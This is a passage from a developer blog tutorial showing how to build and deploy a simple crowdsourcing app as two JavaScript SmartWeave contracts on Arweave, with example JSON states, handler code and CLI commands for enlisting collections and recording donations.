&lt;/h4&gt;

&lt;p&gt;There are plenty of networks out there. I deployed my contract to &lt;a href="https://www.arweave.org/" rel="noopener noreferrer"&gt;Arweave&lt;/a&gt;. Unlike many other networks, the smart contracts on Arweave can be written in JavaScript. The process to write and deploy one is fairly straight forward.&lt;/p&gt;

&lt;h3&gt;
  
  
  PreRequisites &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/ArweaveTeam/arweave-js#npm" rel="noopener noreferrer"&gt;Install Arweave CLI &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ArweaveTeam/SmartWeave#cli-usage" rel="noopener noreferrer"&gt;Install Smartweave CLI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Get &lt;a href="https://docs.arweave.org/info/wallets/arweave-web-extension-wallet#getting-started" rel="noopener noreferrer"&gt;Arweave wallet &lt;/a&gt; or &lt;a href="https://finnie.koii.network/" rel="noopener noreferrer"&gt;Finnie wallet&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Complete the above steps before moving ahead.&lt;/p&gt;

&lt;h3&gt;
  
  
  Introduction &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;There are two steps to deploying Smart Contracts on Arweave once the prerequisites are completed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Write the smart contracts&lt;/strong&gt;
Go through the &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md" rel="noopener noreferrer"&gt;Contract writing guide&lt;/a&gt; by Arweave Team. It contains an example of &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md#hello-world-contract" rel="noopener noreferrer"&gt;Hello World&lt;/a&gt; that should set your fundamentals straight.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deploy them via CLI&lt;/strong&gt;
Once the contract files are ready. To deploy it via the CLI, you would need to export the private key of your Arweave/Finnie Wallet which you must have created earlier. Here is the &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md#hello-world-contract" rel="noopener noreferrer"&gt;CLI Usage guide&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Setting up initial state &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Please go through the introduction section and explore the attached resources before moving ahead.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Example Contract description&lt;/strong&gt; : Set up a Decentralised marketplace where people can donate to crowdsource fundraiser listings.&lt;/p&gt;

&lt;p&gt;Time to build our Crowdsource App 🥳🥳🥳&lt;/p&gt;

&lt;p&gt;In order to do that, we need two contracts to make it work.&lt;br&gt;&lt;br&gt;
A Collection contract that would contain all the information regarding the listing in its &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/collection/init_state.json" rel="noopener noreferrer"&gt;state&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Tabs over Spaces&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;This is my first petition. Please vote this petition to make spaces illegal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;funds&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raised&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;goal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;records&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;  
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Parent Crowdsource contract that would contain references to the above created collection contracts in its &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/parent%20/init_state.json" rel="noopener noreferrer"&gt;state&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CrowdSource | PeopleHelpPeople&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;collections&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Updating state &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;There are two operations that could happen:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Users enlist a new crowdsource collection&lt;/li&gt;
&lt;li&gt;Users donate funds to the collection&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: These actions are basic and preliminary. Since I didnt have much time during the hackathon, this was all I could build. But obviously it could be expanded to make the system more usable and robust.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Enlisting a Collection Contract
&lt;/h4&gt;

&lt;p&gt;Lets take a look at the enlist function on the &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/parent%20/index.js" rel="noopener noreferrer"&gt;Parent Contract&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;enlist&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`PetitionId cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hasOwnProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`PetitionId already exists`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The enlist function performs the essential checks firstly, then adds the reference to the collections object of the state. This serves as a means to keep track of all the crowdsource contracts on the chain.&lt;/p&gt;

&lt;p&gt;After enlisting a collection contract, the parent contract state should like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CrowdSource | PeopleHelpPeople&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;collections&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu08248PUTxnp2qOU&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Donating to a Collection Contract
&lt;/h4&gt;

&lt;p&gt;Once the collection is enlisted, users could transfer funds to the collection. Feel free to use any wallet services to transfer tokens. But make sure you got the correct address on the owner field.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Since I used Finnie wallet, I put my Finnie address inside the owner field.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here is the &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/collection/index.js" rel="noopener noreferrer"&gt;Collection Contract&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;donate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;donorId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`DonorId cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`amount cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;number&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`amount must be a number`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;funds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;records&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;donorId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;funds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raised&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After performing essential checks, the contracts state is updated with the donor payment ID(address) and the amount of funds they have contributed.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The default currency is assumed to be KOII. Again a place for improvement. To support various currencies, currency field could be added to the record.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is how the collection contract would look like once users have donated some funds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Tabs over Spaces&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;This is my first petition. Please vote this petition to make spaces illegal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;funds&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raised&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.2109999999999999&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;goal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;records&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu0824&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Deployment &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;To deploy the contracts, use the Smartweave create command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave create [SRC LOCATION] [INITIAL STATE FILE] --key-file [YOUR KEYFILE]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It takes around 10-15 minutes for the contract to be deployed. &lt;strong&gt;Note that you would have to spend some AR in order to deploy the contract.&lt;/strong&gt; &lt;br&gt;
Once the create command completes, the CLI will output a unique transaction ID for the transaction. This ID is essential to proceed forward.&lt;/p&gt;

&lt;p&gt;To check the status of the transaction&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;arweave status [CONTRACT TXID]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To read the state of the contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave read [CONTRACT TXID]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;For a web GUI experience, check out &lt;a href="//viewblock.io"&gt;Viewblock.io&lt;/a&gt;. Its a handy website to check all the information about your contracts state, tags and transactions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Interacting with the contract &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;It is time to send payloads to interact with the contract i.e. update the state. We would be using the enlist and donate functions that we set up earlier on the contracts.&lt;/p&gt;

&lt;p&gt;To interact with the transaction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [CONTRACT TXID] --key-file [YOUR KEYFILE] \
  --input "[CONTRACT INPUT STRING HERE]"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For enlisting a contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [Parent Crowdsource Contract TXID] --key-file [YOUR KEYFILE] --input "{"function":"enlist","listingId":"&amp;lt;Collection contract TXID&amp;gt;"}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For donating tokens to a collection&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [Collection Contract] --key-file [YOUR KEYFILE] --input '{"function":"donate","donorId":"&amp;lt;Donor wallet address&amp;gt;","amount":&amp;lt;number of tokens&amp;gt;}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Summary &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Congratulations 🥳🥳🥳&lt;br&gt;&lt;br&gt;
Hope you liked reading through the article. To summarise the learnings, you should have understood:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What are smart contracts&lt;/li&gt;
